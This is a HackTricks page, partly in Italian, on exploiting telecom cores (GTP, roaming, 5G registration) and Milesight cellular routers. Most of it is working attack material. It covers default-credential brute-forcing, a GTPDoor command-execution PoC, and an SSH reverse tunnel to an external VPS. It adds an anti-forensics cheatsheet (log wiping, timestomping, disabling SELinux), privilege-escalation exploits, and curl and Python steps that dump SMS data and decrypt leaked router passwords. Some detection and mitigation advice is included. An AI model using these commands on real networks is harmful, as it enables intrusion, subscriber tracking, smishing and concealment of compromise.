Telecom Network Exploitation (GTP / Roaming Environments)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Note
I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone roaming semi-trustable GRX/IPX. Poiché viaggiano su UDP in chiaro con quasi nessuna autenticazione, any foothold inside a telecom perimeter can usually reach core signalling planes directly. Le note seguenti raccolgono trucchi offensivi osservati in the wild contro SGSN/GGSN, PGW/SGW e altri nodi EPC.
1. Recon & Initial Access
1.1 Default OSS / NE Accounts
Un numero sorprendentemente ampio di elementi di rete dei vendor viene fornito con account SSH/Telnet hard-coded come root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Una wordlist dedicata aumenta drasticamente il successo del brute-force:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Se il dispositivo espone solo una management VRF, effettua prima un pivot tramite un jump host (vedi sezione «SGSN Emu Tunnel» qui sotto).
1.2 Scoperta degli host all’interno di GRX/IPX
La maggior parte degli operatori GRX ancora consente ICMP echo attraverso il backbone. Combina masscan con le sonde UDP integrate gtpv1 per mappare rapidamente i listener GTP-C:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumerating Subscribers – cordscan
Il seguente strumento Go crea pacchetti GTP-C Create PDP Context Request e registra le risposte. Ogni risposta rivela l’attuale SGSN / MME che serve l’IMSI interrogato e, talvolta, il PLMN visitato dall’abbonato.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Flag principali:
--imsiIMSI dell’abbonato target--operHome / HNI (MCC+MNC)-wScrive pacchetti raw su pcap
Costanti importanti all’interno del binary possono essere patchate per ampliare le scansioni:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Esecuzione di codice su GTP – GTPDoor
GTPDoor è un piccolo servizio ELF che si mette in ascolto su UDP 2123 e analizza ogni pacchetto GTP-C in arrivo. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite /bin/sh -c. Lo stdout/stderr vengono esfiltrati all’interno di messaggi Echo Response in modo che non venga mai creata una sessione in uscita.
Minimal PoC packet (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Rilevamento:
- qualsiasi host che invia unbalanced Echo Requests agli IP degli SGSN
- flag versione GTP impostato a 1 mentre message type = 1 (Echo) – deviazione dalla specifica
4. Pivoting attraverso il core
4.1 sgsnemu + SOCKS5
OsmoGGSN fornisce un emulatore SGSN in grado di stabilire un PDP context verso un GGSN/PGW reale. Una volta negoziato, Linux riceve una nuova interfaccia tun0 raggiungibile dal peer di roaming.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Con un corretto firewall hair-pinning, questo tunnel bypassa le signalling-only VLANs e ti porta direttamente nel data plane.
4.2 SSH Reverse Tunnel over Port 53
DNS è quasi sempre aperto nelle infrastrutture di roaming. Esponi un servizio SSH interno sul tuo VPS in ascolto sulla porta :53 e rientra più tardi da casa:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Verificare che GatewayPorts yes sia abilitato sul VPS.
5. Canali nascosti
| Canale | Trasporto | Decodifica | Note |
|---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy) encoded in A-record octets | monitora il sottodominio *.nodep |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | si fonde con il traffico GTP legittimo |
Tutti gli implants implementano watchdogs che timestomp i loro binari e re-spawn se crashano.
6. Cheatsheet per l’evasione delle difese
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation su Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Suggerimento per la pulizia:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Strumenti
cordscan,GTPDoor,EchoBackdoor,NoDepDNS– strumenti personalizzati descritti nelle sezioni precedenti.FScan: scansioni TCP intranet (fscan -p 22,80,443 10.0.0.0/24)Responder: LLMNR/NBT-NS rogue WPADMicrosocks+ProxyChains: pivoting SOCKS5 leggeroFRP(≥0.37) : attraversamento NAT / bridging di asset
9. Attacchi di registrazione NAS 5G: SUCI leaks, downgrade a EEA0/EIA0, e NAS replay
Il procedimento di registrazione 5G scorre su NAS (Non-Access Stratum) sopra NGAP. Finché la sicurezza NAS non è attivata tramite Security Mode Command/Complete, i messaggi iniziali sono non autenticati e non cifrati. Questa finestra pre-sicurezza abilita molteplici vettori di attacco quando puoi osservare o manomettere il traffico N2 (es., on-path all’interno del core, rogue gNB, o testbed).
Flusso di registrazione (semplificato):
- Registration Request: UE invia SUCI (SUPI cifrato) e capability.
- Authentication: AMF/AUSF inviano RAND/AUTN; UE risponde con RES*.
- Security Mode Command/Complete: integrità e cifratura NAS vengono negoziate e attivate.
- PDU Session Establishment: configurazione IP/QoS.
Suggerimenti per il laboratorio (non-RF):
- Core: la deployment di default di Open5GS è sufficiente per riprodurre i flussi.
- UE: simulator o UE di test; decodifica con Wireshark.
- Strumenti attivi: 5GReplay (cattura/modifica/riproduce NAS all’interno di NGAP), Sni5Gect (sniffa/patcha/inietta NAS al volo senza avviare un rogue gNB completo).
- Filtri di visualizzazione utili in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Privacy degli identificatori: fallimenti SUCI che espongono SUPI/IMSI
Atteso: UE/USIM deve trasmettere SUCI (SUPI cifrato con la chiave pubblica della home-network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che abilita il tracciamento persistente dell’abbonato.
Come testare:
- Cattura il primo messaggio NAS in InitialUEMessage e ispeziona il Mobile Identity IE.
- Controlli rapidi in Wireshark:
- Dovrebbe decodificare come SUCI, non come IMSI.
- Esempi di filtro:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.sucidovrebbe esistere; l’assenza assieme alla presenza diimsiindica una perdita (leak).
Cosa raccogliere:
- MCC/MNC/MSIN se esposti; log per UE e tracciamento nel tempo/locazioni.
Mitigazione:
- Imporre UEs/USIMs solo SUCI; generare alert su qualsiasi IMSI/SUPI nel NAS iniziale.
9.2 Downgrade delle capability a algoritmi null (EEA0/EIA0)
Contesto:
- UE annuncia le EEA (encryption) e EIA (integrity) supportate nell’UE Security Capability IE della Registration Request.
- Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi null.
Problema:
- Poiché la Registration Request non è protetta da integrità, un attaccante on-path può azzerare i bit di capability per forzare la selezione di EEA0/EIA0 successivamente durante Security Mode Command. Alcuni stack consentono erroneamente algoritmi null anche fuori dai servizi di emergenza.
Passi offensivi:
- Intercetta InitialUEMessage e modifica la NAS UE Security Capability per pubblicizzare solo EEA0/EIA0.
- Con Sni5Gect, aggancia il messaggio NAS e patcha i bit di capability prima di inoltrarlo.
- Osserva se l’AMF accetta cifrature/integrità null e completa il Security Mode con EEA0/EIA0.
Verifica/visibilità:
- In Wireshark, conferma gli algoritmi selezionati dopo Security Mode Command/Complete.
- Esempio di output di un sniffer passivo:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mitigazioni (obbligatorie):
- Configurare AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente necessario (es., chiamate di emergenza).
- Preferire l’applicazione di almeno EEA2/EIA2; registrare e generare allarme per qualsiasi NAS security context che negozia null algorithms.
9.3 Replay della initial Registration Request (NAS pre-security)
Poiché il NAS iniziale manca di integrità e di freshness, un InitialUEMessage+Registration Request catturato può essere replayed all’AMF.
Regola PoC per 5GReplay per inoltrare i replay corrispondenti:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
Cosa osservare:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigazioni:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
9.5 Defensive checklist
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
L’abuso delle web API esposte dei router cellulari industriali permette smishing stealthy, originato dall’operatore, su larga scala. I router della serie Milesight UR espongono un endpoint in stile JSON-RPC su /cgi. Quando mal configurata, l’API può essere interrogata senza autenticazione per elencare SMS inbox/outbox e, in alcune installazioni, per inviare SMS.
Richieste non autenticate tipiche (stessa struttura per inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Le risposte includono campi come timestamp, content, phone_number (E.164) e status (success o failed). Invii ripetuti di failed allo stesso numero sono spesso “controlli di capacità” da parte dell’attaccante per verificare che un router/SIM possa consegnare prima di un invio massivo.
Esempio di curl per exfiltrate SMS metadata:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Note sugli artifact di auth:
- Parte del traffico può includere un auth cookie, ma una larga parte dei dispositivi esposti risponde senza alcuna autenticazione a
query_inbox/query_outboxquando l’interfaccia di gestione è esposta a Internet. - In ambienti che richiedono auth, previously-leaked credentials (vedi sotto) ripristinano l’accesso.
Percorso di recupero credenziali – CVE-2023-43261:
- Famiglie interessate: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Problema: web-served logs (es.
httpd.log) sono accessibili senza autenticazione sotto/lang/log/e contengono eventi di login admin con la password criptata usando una hardcoded AES key/IV presente in client-side JavaScript. - Accesso pratico e decrittazione:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Python minimale per decifrare leaked passwords (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Hunting and detection ideas (network):
- Generare alert su una
POST /cginon autenticata il cui body JSON contienebase/functionimpostati suquery_inboxoquery_outbox. - Tracciare raffiche ripetute di
POST /cgiseguite da vocistatus":"failed"su molti numeri unici provenienti dalla stessa IP sorgente (capability testing). - Inventariare i router Milesight esposti su Internet; limitare la gestione alla VPN; disabilitare le funzionalità SMS salvo necessità; aggiornare a ≥ v35.3.0.7; ruotare le credenziali e controllare i log SMS per invii sconosciuti.
Shodan/OSINT pivots (esempi osservati in the wild):
http.html:"rt_title"corrisponde ai pannelli dei router Milesight.- Google dorking per log esposti:
"/lang/log/system" ext:log.
Impatto operativo: l’uso di SIM legittime di operatori all’interno dei router conferisce altissima deliverability/credibility degli SMS per phishing, mentre l’esposizione di inbox/outbox leaks metadata sensibili su larga scala.
Idee per il rilevamento
- Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce Create PDP Context Requests.
- Porte non standard (53, 80, 443) che ricevono SSH handshakes da IP interni.
- Frequent Echo Requests senza corrispondenti Echo Responses – potrebbero indicare beacon di GTPDoor.
- Alto tasso di traffico ICMP echo-reply con campi identifier/sequence grandi e diversi da zero.
- 5G: InitialUEMessage che trasporta NAS Registration Requests ripetute dallo stesso endpoint (replay signal).
- 5G: NAS Security Mode che negozia EEA0/EIA0 al di fuori di contesti di emergenza.
Riferimenti
- Palo Alto Unit42 – Infiltrazione delle reti telecom globali
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

